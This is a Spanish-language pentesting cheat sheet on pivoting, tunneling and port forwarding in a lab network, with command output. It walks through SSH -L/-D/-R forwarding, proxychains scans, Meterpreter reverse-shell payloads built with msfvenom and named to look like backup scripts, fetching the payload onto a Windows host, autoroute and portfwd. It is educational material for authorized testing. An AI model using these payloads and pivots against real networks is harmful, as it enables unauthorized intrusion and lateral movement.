HomeWalkthroughsCheat Sheet

Pivoting, Tunneling and Port Forwarding

Introduction

Pivoting (Pivotear)

  • Qué es: Técnica para moverse entre redes a través de un host comprometido.

  • Objetivo: Acceder a segmentos de red aislados usando una máquina intermedia.

  • Ejemplo: Un host tiene dos interfaces de red (dual-homed), una hacia la red empresarial y otra hacia una red operacional. Usamos ese host para pivotear entre ambas.

  • Alias comunes: Jump Host, Foothold, Proxy, Beachhead, etc.

Tunneling (Tunelización)

  • Qué es: Subconjunto del pivoting que consiste en encapsular tráfico en otros protocolos (como HTTP o HTTPS) para evadir detecciones.

  • Ejemplo: Instrucciones C2 ocultas en peticiones HTTP GET/POST disfrazadas como tráfico legítimo.

  • Aplicaciones comunes: VPN, proxys SOCKS, HTTPS sobre SSH, etc.

Lateral Movement

  • Qué es: Técnica para moverse horizontalmente dentro de la misma red.

  • Objetivo: Acceder a más máquinas usando credenciales válidas, comúnmente con fines de escalamiento de privilegios.

  • Ejemplo: Usar credenciales de administrador local para conectarse a otras máquinas dentro de la misma red.

Port Forwarding

El reenvío de puertos (Port Forwarding) es una técnica que nos permite redirigir una solicitud de comunicación de un puerto a otro. El reenvío de puertos utiliza TCP como capa de comunicación principal para proporcionar comunicación interactiva para el puerto reenviado. Sin embargo, se pueden usar diferentes protocolos de capa de aplicación como SSH o incluso SOCKS (no de capa de aplicación) para encapsular el tráfico reenviado. Esto puede ser efectivo para evadir firewalls y utilizar servicios existentes en el host comprometido para pivotar hacia otras redes.

SSH Local Port Forwarding

Tomemos como ejemplo la imagen de abajo.

Scanning the Pivot Target

Tenemos nuestro host atacante (10.10.15.x) y un servidor Ubuntu de destino (10.129.x.x), que ya hemos comprometido. Escanearemos el servidor Ubuntu con Nmap para buscar puertos abiertos.

gzzcoo@nobody[/tmp]$ nmap -sT -p22,3306 10.129.202.64

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST
Nmap scan report for 10.129.202.64
Host is up (0.12s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
3306/tcp closed mysql

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

El resultado de Nmap muestra que el puerto SSH está abierto. Para acceder al servicio MySQL, podemos hacer SSH al servidor y acceder a MySQL desde dentro, o reenviar el puerto a nuestro localhost en el puerto 1234 y acceder localmente. Una ventaja de acceder localmente es que si queremos ejecutar un exploit remoto contra MySQL, no podríamos hacerlo sin reenviar el puerto, ya que el servicio solo está expuesto localmente en el puerto 3306 del servidor Ubuntu.

Executing the Local Port Forward

Así que usaremos el siguiente comando para reenviar nuestro puerto local (1234) vía SSH al servidor Ubuntu:

gzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64

La opción -L le indica al cliente SSH que solicite al servidor SSH reenviar todos los datos enviados por el puerto 1234 a localhost:3306 en el servidor Ubuntu. Al hacer esto, deberíamos poder acceder al servicio MySQL localmente desde el puerto 1234.

Confirming Port Forward with Netstat

gzzcoo@nobody[/tmp]$ netstat -antp | grep 1234

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      4034/ssh            
tcp6       0      0 ::1:1234                :::*                    LISTEN      4034/ssh

Confirming Port Forward with Nmap

gzzcoo@nobody[/tmp]$ nmap -v -sV -p1234 localhost

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:18 EST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:18
Scanning localhost (127.0.0.1) [2 ports]
Completed Ping Scan at 12:18, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:18
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 1234/tcp on 127.0.0.1
Completed Connect Scan at 12:18, 0.01s elapsed (1 total ports)
Initiating Service scan at 12:18
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 12:18, 0.12s elapsed (1 service on 1 host)
NSE: Script scanning 127.0.0.1.
Initiating NSE at 12:18
Completed NSE at 12:18, 0.01s elapsed
Initiating NSE at 12:18
Completed NSE at 12:18, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0080s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE VERSION
1234/tcp open  mysql   MySQL 8.0.28-0ubuntu0.20.04.3

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

Forwarding Multiple Ports

Si queremos reenviar múltiples puertos desde el servidor Ubuntu a nuestro localhost, podemos hacerlo añadiendo más argumentos -L al comando SSH:

gzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64

Dynamic Port Forwarding with SSH and SOCKS Tunneling

A diferencia del escenario anterior donde sabíamos qué puerto debíamos acceder, en nuestro escenario actual no sabemos qué servicios están del otro lado de la red. Por eso, podemos escanear rangos pequeños de IPs dentro de la red (172.16.5.1-200) o el subnet completo (172.16.5.0/23). No podemos hacer este escaneo directamente desde nuestro equipo atacante porque no tiene rutas hacia la red 172.16.5.0/23. Para lograrlo, tendremos que realizar un dynamic port forwarding y pivotear nuestro tráfico de red a través del servidor Ubuntu comprometido.

Esto se conoce como SSH tunneling usando un SOCKS proxy. SOCKS significa Socket Secure, un protocolo que permite comunicarse con servidores cuando existen restricciones impuestas por un firewall. A diferencia de la mayoría de los casos donde iniciamos una conexión hacia un servicio, en el caso de SOCKS, el tráfico inicial es generado por un cliente SOCKS, que se conecta al servidor SOCKS (controlado por nosotras) para acceder a servicios desde el lado del cliente. Una vez establecida la conexión, el tráfico de red puede ser redirigido a través del servidor SOCKS en nombre del cliente conectado.

Esta técnica se usa frecuentemente para evadir restricciones impuestas por firewalls, permitiendo que una entidad externa acceda a un servicio que se encuentra dentro de un entorno protegido. Otro beneficio de usar un SOCKS proxy para pivotear y reenviar datos es que permite pivotear incluso desde redes NAT creando rutas hacia servidores externos. Existen dos tipos de proxies SOCKS: SOCKS4 y SOCKS5. SOCKS4 no ofrece autenticación ni soporte para UDP, mientras que SOCKS5 sí los incluye.

Tomemos como ejemplo la imagen de abajo donde tenemos una red enmascarada con NAT (172.16.5.0/23) a la que no podemos acceder directamente.

En la imagen anterior, el attack host inicia el cliente SSH y solicita al servidor SSH que le permita enviar datos TCP a través del ssh socket. El servidor SSH responde con una confirmación, y el cliente SSH comienza a escuchar en localhost:9050. Cualquier dato que se envíe allí será retransmitido a toda la red (172.16.5.0/23) mediante SSH. Podemos usar el siguiente comando para realizar este dynamic port forwarding:

Enabling Dynamic Port Forwarding with SSH

gzzcoo@nobody[/tmp]$ ssh -D 9050 ubuntu@10.129.202.64

El argumento -D solicita al servidor SSH que habilite el dynamic port forwarding. Una vez habilitado, necesitaremos una herramienta que pueda enrutar los paquetes de cualquier herramienta a través del puerto 9050. Podemos hacer esto usando proxychains, que es capaz de redirigir conexiones TCP a través de servidores proxy TOR, SOCKS, y HTTP/HTTPS, y además permite encadenar múltiples proxies.

Usando proxychains, también podemos ocultar la dirección IP del requesting host, ya que el receiving host sólo verá la IP del pivot host. Proxychains se utiliza a menudo para forzar que el tráfico TCP de una aplicación pase a través de proxies como SOCKS4/SOCKS5, TOR, o HTTP/HTTPS.

Checking /etc/proxychains.conf

Para indicarle a proxychains que debe usar el puerto 9050, debemos modificar el archivo de configuración ubicado en /etc/proxychains.conf. Podemos agregar socks4 127.0.0.1 9050 en la última línea si aún no está presente.

gzzcoo@nobody[/tmp]$ tail -4 /etc/proxychains.conf

# meanwile
# defaults set to "tor"
socks4 	127.0.0.1 9050

Using Nmap with Proxychains

Ahora, cuando ejecutemos Nmap con proxychains usando el siguiente comando, todos los paquetes de Nmap se enviarán al puerto local 9050, donde nuestro cliente SSH está escuchando. Este a su vez reenviará todo el tráfico por SSH hacia la red 172.16.5.0/23.

gzzcoo@nobody[/tmp]$ proxychains nmap -v -sn 172.16.5.1-200

ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:30 EST
Initiating Ping Scan at 12:30
Scanning 10 hosts [2 ports/host]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.2:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.5:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.6:80-<--timeout
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

<SNIP>

Esta parte de empaquetar todos los datos de Nmap usando proxychains y reenviarlos a un servidor remoto se llama SOCKS tunneling. Otro punto importante a tener en cuenta es que solo podemos realizar un escaneo completo de conexión TCP (full TCP connect scan) a través de proxychains. Esto se debe a que proxychains no puede interpretar paquetes parciales. Si enviamos paquetes parciales, como en un escaneo de tipo half-connect, devolverá resultados incorrectos.

También debemos ser conscientes de que las comprobaciones de host activo (host-alive checks) pueden no funcionar contra objetivos Windows, ya que el firewall de Windows Defender bloquea las solicitudes ICMP (pings tradicionales) por defecto.

Un escaneo completo de conexión TCP sin ping sobre un rango de red completo tomará mucho tiempo. Por eso, en este módulo, nos enfocaremos principalmente en escanear hosts individuales o rangos pequeños de hosts que sabemos que están activos, como en este caso: una máquina Windows en 172.16.5.19.

Enumerating the Windows Target through Proxychains

Realizaremos un escaneo remoto del sistema con el siguiente comando:

gzzcoo@nobody[/tmp]$ proxychains nmap -v -Pn -sT 172.16.5.19

ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:33 EST
Initiating Parallel DNS resolution of 1 host. at 12:33
Completed Parallel DNS resolution of 1 host. at 12:33, 0.15s elapsed
Initiating Connect Scan at 12:33
Scanning 172.16.5.19 [1000 ports]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1720-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:587-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:445-<><>-OK
Discovered open port 445/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8080-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:23-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:135-<><>-OK
Discovered open port 135/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:110-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:21-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:554-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-1172.16.5.19:25-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:5900-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1025-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:143-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:199-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:993-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:995-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:443-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:113-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8888-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:139-<><>-OK
Discovered open port 139/tcp on 172.16.5.19

Remote/Reverse Port Forwarding with SSH

Ya hemos visto el reenvío de puertos local, donde SSH puede escuchar en nuestro equipo local y reenviar un servicio del host remoto a nuestro puerto, y el reenvío de puertos dinámico, donde podemos enviar paquetes a una red remota a través de un pivot host. Pero, a veces, también podríamos querer reenviar un servicio local hacia un puerto remoto.

Imaginemos el escenario en el que podemos hacer RDP hacia el host Windows Windows A. Como se puede ver en la imagen de abajo, en nuestro caso anterior pudimos pivotar hacia el host Windows a través del servidor Ubuntu.

Pero ¿qué pasa si intentamos obtener una reverse shell?

La conexión saliente del host Windows está limitada solo a la red 172.16.5.0/23. Esto se debe a que el host Windows no tiene ninguna conexión directa con la red en la que se encuentra el attack host. Si iniciamos un listener de Metasploit en nuestro attack host e intentamos obtener una reverse shell, no lograremos una conexión directa porque el servidor Windows no sabe cómo enrutar el tráfico que sale de su red (172.16.5.0/23) hacia la 10.129.x.x (nuestra red de atacante).

Hay muchas ocasiones durante una auditoría de Pentest en las que tener únicamente una conexión por escritorio remoto no es suficiente. Podemos necesitar subir o bajar archivos (cuando el portapapeles del RDP está deshabilitado), usar exploits o interactuar con APIs de bajo nivel de Windows mediante una sesión de Meterpreter, lo cual no es posible usando solo ejecutables integrados de Windows.

En estos casos, debemos encontrar un pivot host, que sea un punto de conexión común entre nuestro attack host y el servidor Windows. En nuestro caso, el pivot host sería el servidor Ubuntu, ya que puede conectarse tanto a nuestro attack host como al objetivo Windows.

Para obtener una shell Meterpreter en Windows, crearemos un payload Meterpreter HTTPS usando msfvenom, pero la configuración de la conexión reversa para el payload tendrá como IP destino la del servidor Ubuntu (172.16.5.129). Usaremos el puerto 8080 en el servidor Ubuntu para reenviar todos los paquetes de la reverse shell hacia el puerto 8000 de nuestro attack host, donde estará escuchando Metasploit.

Creating a Windows Payload with msfvenom

gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000

Transferring Payload to Pivot Host

Una vez que hayamos creado nuestro payload y tengamos el listener configurado y ejecutándose, podemos copiar el payload al servidor Ubuntu usando el comando scp, ya que ya tenemos las credenciales para conectarnos al servidor Ubuntu por SSH.

gzzcoo@nobody[/tmp]$ scp backupscript.exe ubuntu@<ipAddressofTarget>:~/

backupscript.exe                                   100% 7168    65.4KB/s   00:00

Starting Python3 Webserver on Pivot Host

Después de copiar el payload, iniciaremos un servidor HTTP con python3 en el servidor Ubuntu, en el mismo directorio donde se encuentra el payload.

ubuntu@Webserver$ python3 -m http.server 8123

Downloading Payload on the Windows Target

Podemos descargar este backupscript.exe en el host Windows usando un navegador web o el cmdlet de PowerShell Invoke-WebRequest.

Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Using SSH -R

Una vez descargado el payload en el host Windows, usaremos reenvío de puertos remoto por SSH para reenviar conexiones desde el puerto 8080 del servidor Ubuntu hacia el servicio listener de nuestra msfconsole en el puerto 8000. Usaremos el argumento -vN en el comando SSH para hacerlo más detallado y evitar que se abra una shell interactiva.

El argumento -R le indica al servidor Ubuntu que escuche en <targetIPaddress>:8080 y reenvíe todas las conexiones entrantes a nuestro listener en 0.0.0.0:8000 del host atacante.

gzzcoo@nobody[/tmp]$ ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN

Después de crear el reenvío remoto SSH, podemos ejecutar el payload desde el objetivo Windows. Si el payload se ejecuta correctamente y trata de conectarse de vuelta a nuestro listener, podremos ver los logs de conexión desde el host pivot.

Viewing the Logs from the Pivot

ebug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61355
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8000
debug1: channel 1: free: 172.16.5.19, nchannels 1
debug1: client_input_channel_open: ctype forwarded-tcpip rchan 2 win 2097152 max 32768
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61356
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=4
debug1: channel 0: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: connected to 0.0.0.0 port 8000

Meterpreter Session Established

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1 ) at 2022-03-02 10:48:10 -0500

meterpreter > shell
Process 3236 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>

Nuestra sesión de Meterpreter debería mostrar que la conexión entrante proviene del propio host local (127.0.0.1), ya que estamos recibiendo la conexión a través del socket local SSH, el cual creó una conexión saliente hacia el servidor Ubuntu. Ejecutar el comando netstat puede mostrarnos que la conexión entrante proviene del servicio SSH.

La siguiente representación gráfica ofrece una manera alternativa de entender esta técnica.

Meterpreter Tunneling & Port Forwarding

Ahora consideremos un escenario en el que ya tenemos acceso a una shell de Meterpreter en el servidor Ubuntu (nuestro host de pivoteo) y queremos realizar escaneos de enumeración a través de él, aprovechando las funcionalidades que ofrece Meterpreter. En estos casos, podemos crear un pivote usando la sesión de Meterpreter sin depender del reenvío de puertos por SSH.

Podemos generar una shell de Meterpreter para el servidor Ubuntu con el siguiente comando, que nos devolverá una shell en nuestro host atacante a través del puerto 8080:

Creating Payload for Ubuntu Pivot Host

gzzcoo@nobody[/tmp]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Configuring & Starting the multi/handler

Antes de copiar el payload, podemos iniciar el multi/handler en Metasploit, también conocido como Generic Payload Handler.

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080

Executing the Payload on the Pivot Host

Copiamos el binario backupjob al servidor Ubuntu (host pivote) vía SSH y lo ejecutamos:

ubuntu@WebServer:~$ ls

backupjob
ubuntu@WebServer:~$ chmod +x backupjob 
ubuntu@WebServer:~$ ./backupjob

Meterpreter Session Establishment

Debemos asegurarnos de que la sesión de Meterpreter se establezca correctamente tras ejecutar el payload.

[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd

/home/ubuntu

Ping Sweep

Sabemos que el objetivo (Windows) se encuentra en la red 172.16.5.0/23. Suponiendo que el firewall del host Windows permita tráfico ICMP, lo siguiente que queremos hacer es un ping sweep desde nuestra sesión de Meterpreter. Para ello, podemos usar el módulo ping_sweep, el cual generará tráfico ICMP desde el host Ubuntu hacia esa red.

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

[*] Performing ping sweep for IP range 172.16.5.0/23

También podemos realizar un ping sweep (barrido de red con ping) utilizando un bucle for directamente en el host pivot comprometido, que enviará pings a todos los dispositivos dentro del rango de red que especifiquemos. Aquí tienes dos one-liners muy útiles, dependiendo del sistema operativo del host pivot:

Ping Sweep For Loop on Linux Pivot Hosts

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Ping Sweep For Loop Using CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

Ping Sweep Using PowerShell

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

Nota: Es posible que un ping sweep no devuelva respuestas exitosas en el primer intento, especialmente cuando se comunica entre diferentes redes. Esto puede deberse al tiempo que tarda un host en construir su caché ARP. En estos casos, es recomendable repetir el barrido al menos dos veces para asegurarnos de que la caché ARP se haya construido correctamente.

Configuring MSF's SOCKS Proxy

También pueden existir escenarios en los que el firewall de un host bloquee el ping (ICMP), por lo que no obtendremos respuestas exitosas. En estos casos, podemos realizar un escaneo TCP sobre la red 172.16.5.0/23 utilizando Nmap.

En lugar de usar SSH para el port forwarding, también podemos utilizar el módulo de post-explotación socks_proxy de Metasploit, el cual nos permite configurar un proxy local tipo SOCKS en nuestra máquina atacante.

Se configurará el proxy SOCKS en su versión 4a, el cual iniciará un listener en el puerto 9050 y redirigirá todo el tráfico recibido a través de nuestra sesión de Meterpreter.

msf6 > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a,
                                        5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

Confirming Proxy Server is Running

msf6 auxiliary(server/socks_proxy) > jobs

Jobs
====

  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

Adding a Line to proxychains.conf if Needed

Después de iniciar el servidor SOCKS, configuraremos proxychains para redirigir el tráfico generado por otras herramientas como Nmap a través de nuestro pivote en el host Ubuntu comprometido.

Podemos añadir la siguiente línea al final del archivo proxychains.conf ubicado en /etc/proxychains.conf si no está presente.

socks4 	127.0.0.1 9050

Nota: Dependiendo de la versión del servidor SOCKS que estemos usando, en ocasiones necesitaremos cambiar socks4 por socks5 en el archivo de configuración.

Creating Routes with AutoRoute

Finalmente, debemos indicar al módulo socks_proxy que redirija todo el tráfico a través de nuestra sesión de Meterpreter. Para esto, podemos utilizar el módulo post/multi/manage/autoroute de Metasploit para añadir rutas hacia la subred 172.16.5.0 y enrutar el tráfico de proxychains correctamente.

msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed

También es posible agregar rutas con autoroute directamente desde la sesión de Meterpreter ejecutando el siguiente comando:

meterpreter > run autoroute -s 172.16.5.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes

Listing Active Routes with AutoRoute

Una vez agregadas las rutas necesarias, podemos usar la opción -p para listar las rutas activas y confirmar que nuestra configuración se haya aplicado correctamente.

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.129.0.0         255.255.0.0        Session 1
   172.16.4.0         255.255.254.0      Session 1
   172.16.5.0         255.255.254.0      Session 1

Testing Proxy & Routing Functionality

Como podemos ver en la salida anterior, la ruta hacia la red 172.16.5.0/23 ha sido añadida correctamente. Esto nos permite ahora utilizar proxychains para enrutar nuestro tráfico de Nmap a través de la sesión de Meterpreter.

gzzcoo@nobody[/tmp]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 172.16.5.19 
Host is up (0.12s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

Port Forwarding

También podemos lograr el port forwarding utilizando el módulo portfwd de Meterpreter. Este módulo nos permite redirigir tráfico desde nuestro host atacante hacia una máquina remota a través de una sesión activa de Meterpreter.

Portfwd options

meterpreter > help portfwd

Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
    -R        Indicates a reverse port forward.

Creating Local TCP Relay

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

El comando anterior le indica a la sesión de Meterpreter que inicie un listener en el puerto local 3300 de nuestro host atacante (-l 3300) y reenvíe todos los paquetes a la máquina remota 172.16.5.19 en el puerto 3389 (-r 172.16.5.19 -p 3389), utilizando la sesión activa de Meterpreter como canal de comunicación.

Connecting to Windows Target through localhost

Una vez establecido el port forwarding, podemos ejecutar el siguiente comando para iniciar una sesión RDP desde nuestra máquina.

gzzcoo@nobody[/tmp]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Netstat Output

Podemos usar netstat para ver información sobre la sesión que acabamos de establecer. Desde una perspectiva defensiva, netstat también es útil si sospechamos que un host ha sido comprometido, ya que nos permite ver todas las sesiones activas que ese host ha establecido.

gzzcoo@nobody[/tmp]$ netstat -antp

tcp        0      0 127.0.0.1:54652         127.0.0.1:3300          ESTABLISHED 4075/xfreerdp

Meterpreter Reverse Port Forwarding

Al igual que con los local port forwards, Metasploit también puede realizar reverse port forwarding con el siguiente comando. Esto es útil cuando queremos escuchar en un puerto específico del servidor comprometido y redirigir todas las conexiones entrantes desde el servidor Ubuntu hacia nuestro attack host.

En este caso, vamos a iniciar un listener en un nuevo puerto de nuestra máquina para recibir una Windows shell, y solicitaremos al servidor Ubuntu que redirija todas las solicitudes que reciba en el puerto 1234 hacia nuestro listener en el puerto 8081.

Reverse Port Forwarding Rules

Podemos crear este reverse port forward en la shell que ya teníamos abierta desde el escenario anterior con el siguiente comando:

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

Configuring & Starting multi/handler

meterpreter > bg

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8081

Generating the Windows Payload

Ahora podemos crear un reverse shell payload que, al ejecutarse en el host Windows, envíe una conexión de vuelta a nuestro servidor Ubuntu (172.16.5.129:1234). Una vez que el servidor Ubuntu reciba esta conexión, la redirigirá al attack host en el puerto 8081, como lo configuramos anteriormente con reverse port forwarding.

gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

